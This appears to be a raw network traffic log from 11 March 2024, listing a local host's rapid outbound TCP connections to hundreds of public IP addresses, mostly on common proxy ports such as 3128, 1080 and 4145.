Mar 11, 2024 15:21:01.462192059 CET	80	49806	104.19.109.209	192.168.2.9
Mar 11, 2024 15:21:01.462307930 CET	49806	80	192.168.2.9	104.19.109.209
Mar 11, 2024 15:21:01.465262890 CET	49917	80	192.168.2.9	209.13.186.20
Mar 11, 2024 15:21:01.465356112 CET	49806	80	192.168.2.9	104.19.109.209
Mar 11, 2024 15:21:01.467622995 CET	49918	62192	192.168.2.9	162.241.53.72
Mar 11, 2024 15:21:01.468054056 CET	49919	64109	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:01.469988108 CET	49920	3128	192.168.2.9	77.77.64.116
Mar 11, 2024 15:21:01.470922947 CET	49921	58927	192.168.2.9	200.116.198.160
Mar 11, 2024 15:21:01.472521067 CET	49922	999	192.168.2.9	45.162.132.129
Mar 11, 2024 15:21:01.472815037 CET	80	49748	52.67.10.183	192.168.2.9
Mar 11, 2024 15:21:01.472887993 CET	49748	80	192.168.2.9	52.67.10.183
Mar 11, 2024 15:21:01.473891973 CET	49748	80	192.168.2.9	52.67.10.183
Mar 11, 2024 15:21:01.473896980 CET	49923	11251	192.168.2.9	188.164.193.178
Mar 11, 2024 15:21:01.475234985 CET	49924	3030	192.168.2.9	158.247.207.153
Mar 11, 2024 15:21:01.476979017 CET	49925	8080	192.168.2.9	200.54.22.74
Mar 11, 2024 15:21:01.478769064 CET	49926	80	192.168.2.9	104.27.15.161
Mar 11, 2024 15:21:01.480233908 CET	49927	16379	192.168.2.9	163.172.169.27
Mar 11, 2024 15:21:01.481736898 CET	49928	8080	192.168.2.9	24.176.53.183
Mar 11, 2024 15:21:01.482079983 CET	49929	1080	192.168.2.9	185.82.218.52
Mar 11, 2024 15:21:01.482640028 CET	80	49817	104.17.62.87	192.168.2.9
Mar 11, 2024 15:21:01.482711077 CET	49817	80	192.168.2.9	104.17.62.87
Mar 11, 2024 15:21:01.483572960 CET	49817	80	192.168.2.9	104.17.62.87
Mar 11, 2024 15:21:01.483819008 CET	49930	56252	192.168.2.9	103.59.190.209
Mar 11, 2024 15:21:01.486044884 CET	49931	999	192.168.2.9	190.97.238.84
Mar 11, 2024 15:21:01.486423969 CET	49932	80	192.168.2.9	50.168.210.235
Mar 11, 2024 15:21:01.488369942 CET	49933	443	192.168.2.9	47.236.85.113
Mar 11, 2024 15:21:01.488399982 CET	443	49933	47.236.85.113	192.168.2.9
Mar 11, 2024 15:21:01.488477945 CET	49933	443	192.168.2.9	47.236.85.113
Mar 11, 2024 15:21:01.488744974 CET	49934	4145	192.168.2.9	184.178.172.14
Mar 11, 2024 15:21:01.489532948 CET	49933	443	192.168.2.9	47.236.85.113
Mar 11, 2024 15:21:01.489551067 CET	443	49933	47.236.85.113	192.168.2.9
Mar 11, 2024 15:21:01.489607096 CET	443	49933	47.236.85.113	192.168.2.9
Mar 11, 2024 15:21:01.489917994 CET	49935	80	192.168.2.9	172.64.86.217
Mar 11, 2024 15:21:01.491166115 CET	49936	80	192.168.2.9	104.21.194.19
Mar 11, 2024 15:21:01.493156910 CET	49937	10011	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:01.494640112 CET	49938	36363	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:01.495327950 CET	49939	3128	192.168.2.9	193.239.86.249
Mar 11, 2024 15:21:01.503093958 CET	49940	8080	192.168.2.9	103.105.228.35
Mar 11, 2024 15:21:01.504199028 CET	49941	8123	192.168.2.9	20.205.61.143
Mar 11, 2024 15:21:01.506345034 CET	49942	80	192.168.2.9	93.117.225.195
Mar 11, 2024 15:21:01.506854057 CET	80	49770	203.34.28.166	192.168.2.9
Mar 11, 2024 15:21:01.506874084 CET	80	49770	203.34.28.166	192.168.2.9
Mar 11, 2024 15:21:01.506938934 CET	80	49770	203.34.28.166	192.168.2.9
Mar 11, 2024 15:21:01.507004976 CET	49770	80	192.168.2.9	203.34.28.166
Mar 11, 2024 15:21:01.507626057 CET	49943	3128	192.168.2.9	165.232.89.116
Mar 11, 2024 15:21:01.510109901 CET	80	49790	50.168.163.166	192.168.2.9
Mar 11, 2024 15:21:01.510957956 CET	80	49771	104.23.107.172	192.168.2.9
Mar 11, 2024 15:21:01.510997057 CET	49944	27102	192.168.2.9	128.199.196.31
Mar 11, 2024 15:21:01.511104107 CET	80	49771	104.23.107.172	192.168.2.9
Mar 11, 2024 15:21:01.511117935 CET	80	49771	104.23.107.172	192.168.2.9
Mar 11, 2024 15:21:01.511166096 CET	49771	80	192.168.2.9	104.23.107.172
Mar 11, 2024 15:21:01.512662888 CET	49945	8000	192.168.2.9	183.100.14.134
Mar 11, 2024 15:21:01.512845039 CET	49946	7841	192.168.2.9	66.228.37.252
Mar 11, 2024 15:21:01.512903929 CET	8080	49726	46.209.54.102	192.168.2.9
Mar 11, 2024 15:21:01.513101101 CET	49771	80	192.168.2.9	104.23.107.172
Mar 11, 2024 15:21:01.514086962 CET	49947	8080	192.168.2.9	103.148.51.19
Mar 11, 2024 15:21:01.514451981 CET	49770	80	192.168.2.9	203.34.28.166
Mar 11, 2024 15:21:01.516707897 CET	49948	13412	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:01.518007040 CET	49949	80	192.168.2.9	177.12.118.160
Mar 11, 2024 15:21:01.519737005 CET	49950	51535	192.168.2.9	162.241.66.135
Mar 11, 2024 15:21:01.521945000 CET	49951	35318	192.168.2.9	162.241.79.22
Mar 11, 2024 15:21:01.522794008 CET	49952	51718	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:01.523752928 CET	49953	7891	192.168.2.9	43.129.228.46
Mar 11, 2024 15:21:01.524606943 CET	49954	8080	192.168.2.9	104.192.202.11
Mar 11, 2024 15:21:01.526079893 CET	49955	8118	192.168.2.9	152.32.187.164
Mar 11, 2024 15:21:01.526503086 CET	80	49777	104.20.123.164	192.168.2.9
Mar 11, 2024 15:21:01.526539087 CET	80	49777	104.20.123.164	192.168.2.9
Mar 11, 2024 15:21:01.527043104 CET	80	49777	104.20.123.164	192.168.2.9
Mar 11, 2024 15:21:01.527084112 CET	49777	80	192.168.2.9	104.20.123.164
Mar 11, 2024 15:21:01.527323008 CET	49777	80	192.168.2.9	104.20.123.164
Mar 11, 2024 15:21:01.527908087 CET	49956	3950	192.168.2.9	148.72.212.198
Mar 11, 2024 15:21:01.528778076 CET	49957	12457	192.168.2.9	209.126.104.38
Mar 11, 2024 15:21:01.530349016 CET	49958	19693	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:01.531265974 CET	49959	8080	192.168.2.9	112.78.131.6
Mar 11, 2024 15:21:01.532080889 CET	49960	5678	192.168.2.9	221.120.218.188
Mar 11, 2024 15:21:01.532397032 CET	49961	23500	192.168.2.9	185.189.199.75
Mar 11, 2024 15:21:01.533512115 CET	49962	80	192.168.2.9	50.173.140.149
Mar 11, 2024 15:21:01.534938097 CET	49963	80	192.168.2.9	27.96.235.171
Mar 11, 2024 15:21:01.536302090 CET	49964	57447	192.168.2.9	154.12.253.232
Mar 11, 2024 15:21:01.537709951 CET	49965	8080	192.168.2.9	103.242.107.146
Mar 11, 2024 15:21:01.539177895 CET	49966	80	192.168.2.9	5.61.33.234
Mar 11, 2024 15:21:01.540198088 CET	49967	999	192.168.2.9	45.5.118.43
Mar 11, 2024 15:21:01.541083097 CET	49968	4145	192.168.2.9	184.181.217.213
Mar 11, 2024 15:21:01.542026997 CET	49969	8001	192.168.2.9	213.171.214.19
Mar 11, 2024 15:21:01.543231010 CET	49970	4145	192.168.2.9	222.124.130.197
Mar 11, 2024 15:21:01.543937922 CET	49971	8080	192.168.2.9	78.47.103.89
Mar 11, 2024 15:21:01.544430017 CET	49972	999	192.168.2.9	131.100.51.97
Mar 11, 2024 15:21:01.545825958 CET	49973	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:01.547295094 CET	49974	80	192.168.2.9	104.16.221.57
Mar 11, 2024 15:21:01.548367023 CET	49975	999	192.168.2.9	181.209.78.76
Mar 11, 2024 15:21:01.550141096 CET	49976	39574	192.168.2.9	72.167.222.113
Mar 11, 2024 15:21:01.550986052 CET	49977	999	192.168.2.9	38.52.193.193
Mar 11, 2024 15:21:01.551868916 CET	49978	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:01.552922964 CET	49979	8181	192.168.2.9	176.98.22.224
Mar 11, 2024 15:21:01.554368973 CET	49980	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:01.554789066 CET	49981	19132	192.168.2.9	113.160.247.27
Mar 11, 2024 15:21:01.554795027 CET	80	49781	47.93.121.200	192.168.2.9
Mar 11, 2024 15:21:01.554944992 CET	49781	80	192.168.2.9	47.93.121.200
Mar 11, 2024 15:21:01.555785894 CET	49781	80	192.168.2.9	47.93.121.200
Mar 11, 2024 15:21:01.556405067 CET	49982	53340	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:01.557188034 CET	49983	80	192.168.2.9	149.202.91.219
Mar 11, 2024 15:21:01.558079958 CET	52593	49764	37.187.77.58	192.168.2.9
Mar 11, 2024 15:21:01.558542013 CET	52593	49764	37.187.77.58	192.168.2.9
Mar 11, 2024 15:21:01.558670044 CET	49984	8080	192.168.2.9	103.83.0.46
Mar 11, 2024 15:21:01.559813976 CET	49985	3127	192.168.2.9	101.255.118.10
Mar 11, 2024 15:21:01.560460091 CET	49986	2363	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:01.562340975 CET	49987	1080	192.168.2.9	43.229.254.163
Mar 11, 2024 15:21:01.563848019 CET	49988	8080	192.168.2.9	186.103.130.91
Mar 11, 2024 15:21:01.563852072 CET	49989	52593	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:01.565001011 CET	49990	8080	192.168.2.9	49.48.126.12
Mar 11, 2024 15:21:01.565686941 CET	49991	8080	192.168.2.9	187.157.243.254
Mar 11, 2024 15:21:01.566843987 CET	49992	80	192.168.2.9	35.72.118.126
Mar 11, 2024 15:21:01.567977905 CET	49993	999	192.168.2.9	181.78.19.249
Mar 11, 2024 15:21:01.568707943 CET	49994	80	192.168.2.9	104.23.125.117
Mar 11, 2024 15:21:01.569904089 CET	49995	80	192.168.2.9	50.218.224.35
Mar 11, 2024 15:21:01.570231915 CET	44607	49828	162.241.158.204	192.168.2.9
Mar 11, 2024 15:21:01.570435047 CET	49996	25427	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:01.571501017 CET	49997	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:01.572329998 CET	49998	50386	192.168.2.9	161.97.173.42
Mar 11, 2024 15:21:01.572967052 CET	49999	4145	192.168.2.9	184.181.217.206
Mar 11, 2024 15:21:01.575136900 CET	50000	3128	192.168.2.9	37.120.222.132
Mar 11, 2024 15:21:01.575136900 CET	50001	55443	192.168.2.9	103.145.45.57
Mar 11, 2024 15:21:01.576536894 CET	50002	3128	192.168.2.9	38.54.101.254
Mar 11, 2024 15:21:01.576970100 CET	50003	9002	192.168.2.9	220.248.70.237
Mar 11, 2024 15:21:01.577850103 CET	50004	4145	192.168.2.9	45.126.169.137
Mar 11, 2024 15:21:01.580120087 CET	50005	8080	192.168.2.9	50.113.36.155
Mar 11, 2024 15:21:01.580120087 CET	50006	999	192.168.2.9	8.242.85.6
Mar 11, 2024 15:21:01.580996990 CET	50007	80	192.168.2.9	51.250.13.88
Mar 11, 2024 15:21:01.581197023 CET	80	49863	172.64.80.55	192.168.2.9
Mar 11, 2024 15:21:01.581434965 CET	49863	80	192.168.2.9	172.64.80.55
Mar 11, 2024 15:21:01.582037926 CET	4145	49821	74.119.144.60	192.168.2.9
Mar 11, 2024 15:21:01.582153082 CET	49821	4145	192.168.2.9	74.119.144.60
Mar 11, 2024 15:21:01.582443953 CET	49863	80	192.168.2.9	172.64.80.55
Mar 11, 2024 15:21:01.582936049 CET	49821	4145	192.168.2.9	74.119.144.60
Mar 11, 2024 15:21:01.583007097 CET	50008	23500	192.168.2.9	109.73.184.94
Mar 11, 2024 15:21:01.584018946 CET	50009	80	192.168.2.9	190.110.226.162
Mar 11, 2024 15:21:01.585088015 CET	80	49878	185.162.228.128	192.168.2.9
Mar 11, 2024 15:21:01.585326910 CET	49878	80	192.168.2.9	185.162.228.128
Mar 11, 2024 15:21:01.586117983 CET	50010	8080	192.168.2.9	46.209.207.153
Mar 11, 2024 15:21:01.586189985 CET	49878	80	192.168.2.9	185.162.228.128
Mar 11, 2024 15:21:01.588144064 CET	50012	8081	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:01.588241100 CET	50011	10000	192.168.2.9	46.17.63.166
Mar 11, 2024 15:21:01.590465069 CET	50014	39533	192.168.2.9	167.172.109.12
Mar 11, 2024 15:21:01.590491056 CET	50013	51616	192.168.2.9	159.223.71.71
Mar 11, 2024 15:21:01.591087103 CET	80	49894	104.21.218.103	192.168.2.9
Mar 11, 2024 15:21:01.591814995 CET	50015	1080	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:01.591907024 CET	50016	1080	192.168.2.9	200.170.196.94
Mar 11, 2024 15:21:01.591976881 CET	49894	80	192.168.2.9	104.21.218.103
Mar 11, 2024 15:21:01.592379093 CET	50017	1234	192.168.2.9	103.52.17.69
Mar 11, 2024 15:21:01.592531919 CET	49894	80	192.168.2.9	104.21.218.103
Mar 11, 2024 15:21:01.592854977 CET	50018	27294	192.168.2.9	51.38.63.124
Mar 11, 2024 15:21:01.593003988 CET	50019	4153	192.168.2.9	169.239.45.51
Mar 11, 2024 15:21:01.595349073 CET	50021	4153	192.168.2.9	119.18.158.130
Mar 11, 2024 15:21:01.595349073 CET	50020	61778	192.168.2.9	92.249.122.108
Mar 11, 2024 15:21:01.595765114 CET	80	49899	45.14.174.148	192.168.2.9
Mar 11, 2024 15:21:01.596122980 CET	49899	80	192.168.2.9	45.14.174.148
Mar 11, 2024 15:21:01.596698046 CET	49899	80	192.168.2.9	45.14.174.148
Mar 11, 2024 15:21:01.597075939 CET	50022	6979	192.168.2.9	115.127.190.42
Mar 11, 2024 15:21:01.597738981 CET	50023	1581	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:01.599102974 CET	50024	44444	192.168.2.9	165.16.55.19
Mar 11, 2024 15:21:01.600413084 CET	50025	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:01.600761890 CET	50026	80	192.168.2.9	103.197.71.7
Mar 11, 2024 15:21:01.602333069 CET	50028	47585	192.168.2.9	192.163.202.88
Mar 11, 2024 15:21:01.602334023 CET	50027	8080	192.168.2.9	201.157.254.26
Mar 11, 2024 15:21:01.603624105 CET	50029	999	192.168.2.9	190.95.195.105
Mar 11, 2024 15:21:01.603632927 CET	8000	49835	142.93.2.226	192.168.2.9
Mar 11, 2024 15:21:01.605005026 CET	50030	1080	192.168.2.9	45.234.100.112
Mar 11, 2024 15:21:01.605273008 CET	50031	22611	192.168.2.9	67.43.227.228
Mar 11, 2024 15:21:01.605988979 CET	50032	8889	192.168.2.9	216.176.187.99
Mar 11, 2024 15:21:01.606600046 CET	50033	19403	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:01.608386993 CET	80	49904	104.16.106.234	192.168.2.9
Mar 11, 2024 15:21:01.608493090 CET	50034	58266	192.168.2.9	151.236.39.7
Mar 11, 2024 15:21:01.608570099 CET	49904	80	192.168.2.9	104.16.106.234
Mar 11, 2024 15:21:01.609838009 CET	49904	80	192.168.2.9	104.16.106.234
Mar 11, 2024 15:21:01.609846115 CET	50035	8080	192.168.2.9	34.84.95.189
Mar 11, 2024 15:21:01.610991955 CET	50036	80	192.168.2.9	59.6.26.121
Mar 11, 2024 15:21:01.611042976 CET	50037	3128	192.168.2.9	84.17.35.129
Mar 11, 2024 15:21:01.612251997 CET	50038	80	192.168.2.9	45.14.174.180
Mar 11, 2024 15:21:01.612775087 CET	50039	4145	192.168.2.9	72.210.221.223
Mar 11, 2024 15:21:01.614274025 CET	50040	80	192.168.2.9	50.218.57.67
Mar 11, 2024 15:21:01.614274979 CET	50041	27660	192.168.2.9	139.162.181.177
Mar 11, 2024 15:21:01.614713907 CET	29703	49895	147.182.194.76	192.168.2.9
Mar 11, 2024 15:21:01.614928007 CET	49895	29703	192.168.2.9	147.182.194.76
Mar 11, 2024 15:21:01.615884066 CET	49895	29703	192.168.2.9	147.182.194.76
Mar 11, 2024 15:21:01.615895987 CET	50042	80	192.168.2.9	200.10.150.115
Mar 11, 2024 15:21:01.616888046 CET	50043	80	192.168.2.9	45.124.184.13
Mar 11, 2024 15:21:01.618779898 CET	999	49785	181.209.78.75	192.168.2.9
Mar 11, 2024 15:21:01.619102001 CET	49785	999	192.168.2.9	181.209.78.75
Mar 11, 2024 15:21:01.619730949 CET	80	49806	104.19.109.209	192.168.2.9
Mar 11, 2024 15:21:01.619745970 CET	80	49806	104.19.109.209	192.168.2.9
Mar 11, 2024 15:21:01.621193886 CET	80	49806	104.19.109.209	192.168.2.9
Mar 11, 2024 15:21:01.621409893 CET	49806	80	192.168.2.9	104.19.109.209
Mar 11, 2024 15:21:01.623243093 CET	11691	49845	72.10.160.90	192.168.2.9
Mar 11, 2024 15:21:01.629019976 CET	50045	80	192.168.2.9	81.250.223.126
Mar 11, 2024 15:21:01.629597902 CET	50044	2525	192.168.2.9	160.248.80.91
Mar 11, 2024 15:21:01.629812956 CET	49785	999	192.168.2.9	181.209.78.75
Mar 11, 2024 15:21:01.630644083 CET	50046	8197	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:01.630642891 CET	49806	80	192.168.2.9	104.19.109.209
Mar 11, 2024 15:21:01.631556988 CET	80	49838	50.168.163.182	192.168.2.9
Mar 11, 2024 15:21:01.632400990 CET	50047	3888	192.168.2.9	1.224.3.122
Mar 11, 2024 15:21:01.632623911 CET	50048	3128	192.168.2.9	46.21.153.16
Mar 11, 2024 15:21:01.632987022 CET	50049	9002	192.168.2.9	111.16.50.12
Mar 11, 2024 15:21:01.633013010 CET	80	49926	104.27.15.161	192.168.2.9
Mar 11, 2024 15:21:01.634677887 CET	50050	80	192.168.2.9	85.8.68.2
Mar 11, 2024 15:21:01.634697914 CET	49926	80	192.168.2.9	104.27.15.161
Mar 11, 2024 15:21:01.636090994 CET	49926	80	192.168.2.9	104.27.15.161
Mar 11, 2024 15:21:01.636552095 CET	50051	5905	192.168.2.9	31.211.158.245
Mar 11, 2024 15:21:01.637552977 CET	80	49817	104.17.62.87	192.168.2.9
Mar 11, 2024 15:21:01.637579918 CET	80	49817	104.17.62.87	192.168.2.9
Mar 11, 2024 15:21:01.637590885 CET	50052	8080	192.168.2.9	103.134.165.38
Mar 11, 2024 15:21:01.637753963 CET	80	49817	104.17.62.87	192.168.2.9
Mar 11, 2024 15:21:01.637913942 CET	49817	80	192.168.2.9	104.17.62.87
Mar 11, 2024 15:21:01.638117075 CET	49817	80	192.168.2.9	104.17.62.87
Mar 11, 2024 15:21:01.643537045 CET	50053	10677	192.168.2.9	72.10.160.173
Mar 11, 2024 15:21:01.644043922 CET	80	49935	172.64.86.217	192.168.2.9
Mar 11, 2024 15:21:01.644392967 CET	49935	80	192.168.2.9	172.64.86.217
Mar 11, 2024 15:21:01.644661903 CET	49935	80	192.168.2.9	172.64.86.217
Mar 11, 2024 15:21:01.645539045 CET	80	49936	104.21.194.19	192.168.2.9
Mar 11, 2024 15:21:01.645694971 CET	49936	80	192.168.2.9	104.21.194.19
Mar 11, 2024 15:21:01.646565914 CET	49936	80	192.168.2.9	104.21.194.19
Mar 11, 2024 15:21:01.646732092 CET	13351	49853	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:01.651103973 CET	80	49784	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:01.651252031 CET	49784	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:01.651508093 CET	49784	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:01.657175064 CET	9375	49859	92.204.134.38	192.168.2.9
Mar 11, 2024 15:21:01.663254976 CET	50054	4145	192.168.2.9	103.51.44.5
Mar 11, 2024 15:21:01.664236069 CET	50055	8635	192.168.2.9	51.159.221.176
Mar 11, 2024 15:21:01.664609909 CET	50056	23637	192.168.2.9	37.187.73.7
Mar 11, 2024 15:21:01.665529013 CET	50057	16379	192.168.2.9	163.172.131.178
Mar 11, 2024 15:21:01.666357994 CET	50058	1981	192.168.2.9	41.33.66.228
Mar 11, 2024 15:21:01.666357994 CET	50059	38088	192.168.2.9	148.72.209.174
Mar 11, 2024 15:21:01.667272091 CET	80	49771	104.23.107.172	192.168.2.9
Mar 11, 2024 15:21:01.667315960 CET	50060	8002	192.168.2.9	103.6.177.174
Mar 11, 2024 15:21:01.668237925 CET	50062	4153	192.168.2.9	103.94.133.91
Mar 11, 2024 15:21:01.668241978 CET	50061	1994	192.168.2.9	45.188.164.3
Mar 11, 2024 15:21:01.668441057 CET	80	49770	203.34.28.166	192.168.2.9
Mar 11, 2024 15:21:01.669725895 CET	50063	48993	192.168.2.9	181.212.136.34
Mar 11, 2024 15:21:01.671046019 CET	50064	10089	192.168.2.9	147.75.92.251
Mar 11, 2024 15:21:01.672672033 CET	50065	80	192.168.2.9	37.221.197.165
Mar 11, 2024 15:21:01.672672987 CET	50066	61634	192.168.2.9	107.180.103.214
Mar 11, 2024 15:21:01.673860073 CET	50067	4145	192.168.2.9	45.65.229.19
Mar 11, 2024 15:21:01.673888922 CET	50068	5678	192.168.2.9	103.85.103.17
Mar 11, 2024 15:21:01.676055908 CET	50069	43188	192.168.2.9	182.16.171.65
Mar 11, 2024 15:21:01.676055908 CET	50070	30747	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:01.676526070 CET	50071	39757	192.168.2.9	209.126.4.217
Mar 11, 2024 15:21:01.676995993 CET	50072	4153	192.168.2.9	93.171.224.46
Mar 11, 2024 15:21:01.677541971 CET	50073	8901	192.168.2.9	94.124.16.218
Mar 11, 2024 15:21:01.677824974 CET	50074	80	192.168.2.9	190.5.77.211
Mar 11, 2024 15:21:01.677964926 CET	80	49818	216.137.184.253	192.168.2.9
Mar 11, 2024 15:21:01.678076029 CET	49818	80	192.168.2.9	216.137.184.253
Mar 11, 2024 15:21:01.678335905 CET	49818	80	192.168.2.9	216.137.184.253
Mar 11, 2024 15:21:01.678857088 CET	50075	1080	192.168.2.9	189.126.14.226
Mar 11, 2024 15:21:01.679567099 CET	50076	8080	192.168.2.9	194.124.36.75
Mar 11, 2024 15:21:01.679605007 CET	80	49803	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:01.679758072 CET	49803	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:01.679951906 CET	50077	8888	192.168.2.9	45.82.15.11
Mar 11, 2024 15:21:01.680175066 CET	49803	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:01.681247950 CET	80	49777	104.20.123.164	192.168.2.9
Mar 11, 2024 15:21:01.681485891 CET	50078	46475	192.168.2.9	88.202.230.103
Mar 11, 2024 15:21:01.682408094 CET	50079	80	192.168.2.9	159.8.114.37
Mar 11, 2024 15:21:01.682415962 CET	50080	6821	192.168.2.9	198.12.255.193
Mar 11, 2024 15:21:01.682868958 CET	50081	52326	192.168.2.9	132.148.16.169
Mar 11, 2024 15:21:01.683125973 CET	50082	4506	192.168.2.9	8.213.128.90
Mar 11, 2024 15:21:01.683923960 CET	50083	8080	192.168.2.9	103.74.229.133
Mar 11, 2024 15:21:01.684309959 CET	50084	80	192.168.2.9	20.205.61.143
Mar 11, 2024 15:21:01.685221910 CET	50085	8088	192.168.2.9	47.243.177.21
Mar 11, 2024 15:21:01.686639071 CET	50086	80	192.168.2.9	50.222.245.47
Mar 11, 2024 15:21:01.686894894 CET	50087	6116	192.168.2.9	160.153.245.187
Mar 11, 2024 15:21:01.687460899 CET	50088	8193	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:01.689246893 CET	50089	80	192.168.2.9	146.59.202.70
Mar 11, 2024 15:21:01.689937115 CET	50090	80	192.168.2.9	23.227.38.198
Mar 11, 2024 15:21:01.690522909 CET	50091	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:01.690522909 CET	50092	3128	192.168.2.9	83.219.145.108
Mar 11, 2024 15:21:01.691174984 CET	50093	80	192.168.2.9	104.17.132.79
Mar 11, 2024 15:21:01.692157030 CET	50095	80	192.168.2.9	203.89.8.107
Mar 11, 2024 15:21:01.692189932 CET	50094	8674	192.168.2.9	103.54.36.90
Mar 11, 2024 15:21:01.693001986 CET	50096	3128	192.168.2.9	154.0.14.116
Mar 11, 2024 15:21:01.693306923 CET	50097	80	192.168.2.9	191.101.1.116
Mar 11, 2024 15:21:01.694600105 CET	50098	80	192.168.2.9	172.67.105.234
Mar 11, 2024 15:21:01.695337057 CET	50100	3128	192.168.2.9	103.231.248.98
Mar 11, 2024 15:21:01.695346117 CET	50099	15673	192.168.2.9	47.242.15.120
Mar 11, 2024 15:21:01.696249962 CET	50101	8080	192.168.2.9	95.106.182.236
Mar 11, 2024 15:21:01.696686983 CET	50102	21358	192.168.2.9	66.42.60.190
Mar 11, 2024 15:21:01.697473049 CET	50103	46249	192.168.2.9	167.172.109.12
Mar 11, 2024 15:21:01.698242903 CET	50104	9090	192.168.2.9	189.240.60.163
Mar 11, 2024 15:21:01.698913097 CET	50105	8080	192.168.2.9	103.114.53.2
Mar 11, 2024 15:21:01.699696064 CET	50106	5881	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:01.699973106 CET	50107	999	192.168.2.9	45.181.123.151
Mar 11, 2024 15:21:01.701817989 CET	80	49974	104.16.221.57	192.168.2.9
Mar 11, 2024 15:21:01.701993942 CET	49974	80	192.168.2.9	104.16.221.57
Mar 11, 2024 15:21:01.702573061 CET	49974	80	192.168.2.9	104.16.221.57
Mar 11, 2024 15:21:01.704802036 CET	50109	8080	192.168.2.9	85.238.74.91
Mar 11, 2024 15:21:01.704804897 CET	50108	20309	192.168.2.9	107.180.90.88
Mar 11, 2024 15:21:01.705187082 CET	50110	3128	192.168.2.9	86.107.179.244
Mar 11, 2024 15:21:01.705393076 CET	50111	27206	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:01.705590963 CET	50112	3128	192.168.2.9	109.86.182.203
Mar 11, 2024 15:21:01.706856966 CET	50113	8080	192.168.2.9	92.119.238.211
Mar 11, 2024 15:21:01.707118988 CET	50114	443	192.168.2.9	4.182.9.108
Mar 11, 2024 15:21:01.707153082 CET	443	50114	4.182.9.108	192.168.2.9
Mar 11, 2024 15:21:01.707231998 CET	50114	443	192.168.2.9	4.182.9.108
Mar 11, 2024 15:21:01.707413912 CET	50115	8080	192.168.2.9	103.177.21.9
Mar 11, 2024 15:21:01.707473993 CET	50114	443	192.168.2.9	4.182.9.108
Mar 11, 2024 15:21:01.707489014 CET	443	50114	4.182.9.108	192.168.2.9
Mar 11, 2024 15:21:01.707541943 CET	443	50114	4.182.9.108	192.168.2.9
Mar 11, 2024 15:21:01.708169937 CET	80	49856	50.221.74.130	192.168.2.9
Mar 11, 2024 15:21:01.708287954 CET	50117	63100	192.168.2.9	107.180.90.88
Mar 11, 2024 15:21:01.708888054 CET	50116	60349	192.168.2.9	132.148.245.247
Mar 11, 2024 15:21:01.709105015 CET	80	49875	50.172.75.121	192.168.2.9
Mar 11, 2024 15:21:01.709388971 CET	50118	21049	192.168.2.9	128.199.196.31
Mar 11, 2024 15:21:01.718245983 CET	51535	49950	162.241.66.135	192.168.2.9
Mar 11, 2024 15:21:01.720014095 CET	8080	49811	84.241.8.234	192.168.2.9
Mar 11, 2024 15:21:01.720046043 CET	50119	4145	192.168.2.9	72.206.181.123
Mar 11, 2024 15:21:01.720125914 CET	15673	49730	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:01.721153975 CET	50120	8080	192.168.2.9	201.20.94.93
Mar 11, 2024 15:21:01.722032070 CET	50121	11201	192.168.2.9	38.41.27.150
Mar 11, 2024 15:21:01.722408056 CET	50122	8080	192.168.2.9	103.190.54.141
Mar 11, 2024 15:21:01.722457886 CET	15673	49730	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:01.723071098 CET	80	49994	104.23.125.117	192.168.2.9
Mar 11, 2024 15:21:01.723211050 CET	49994	80	192.168.2.9	104.23.125.117
Mar 11, 2024 15:21:01.723480940 CET	50123	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:01.723601103 CET	49994	80	192.168.2.9	104.23.125.117
Mar 11, 2024 15:21:01.724411964 CET	50125	80	192.168.2.9	104.17.9.114
Mar 11, 2024 15:21:01.724546909 CET	50124	3128	192.168.2.9	144.91.106.93
Mar 11, 2024 15:21:01.724997997 CET	50126	999	192.168.2.9	186.148.181.69
Mar 11, 2024 15:21:01.726557016 CET	50127	21898	192.168.2.9	159.223.166.21
Mar 11, 2024 15:21:01.727138042 CET	50128	83	192.168.2.9	103.105.126.30
Mar 11, 2024 15:21:01.727600098 CET	50129	63253	192.168.2.9	187.63.9.62
Mar 11, 2024 15:21:01.727663040 CET	50130	3129	192.168.2.9	20.204.214.79
Mar 11, 2024 15:21:01.728250980 CET	50131	4153	192.168.2.9	200.70.56.204
Mar 11, 2024 15:21:01.728555918 CET	50132	4145	192.168.2.9	222.124.130.195
Mar 11, 2024 15:21:01.729938984 CET	15673	49728	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:01.729979992 CET	50133	80	192.168.2.9	172.67.182.96
Mar 11, 2024 15:21:01.730165005 CET	50134	39824	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:01.730309010 CET	50135	3128	192.168.2.9	89.117.57.158
Mar 11, 2024 15:21:01.730660915 CET	50136	80	192.168.2.9	50.168.72.117
Mar 11, 2024 15:21:01.730760098 CET	50137	8080	192.168.2.9	49.13.124.150
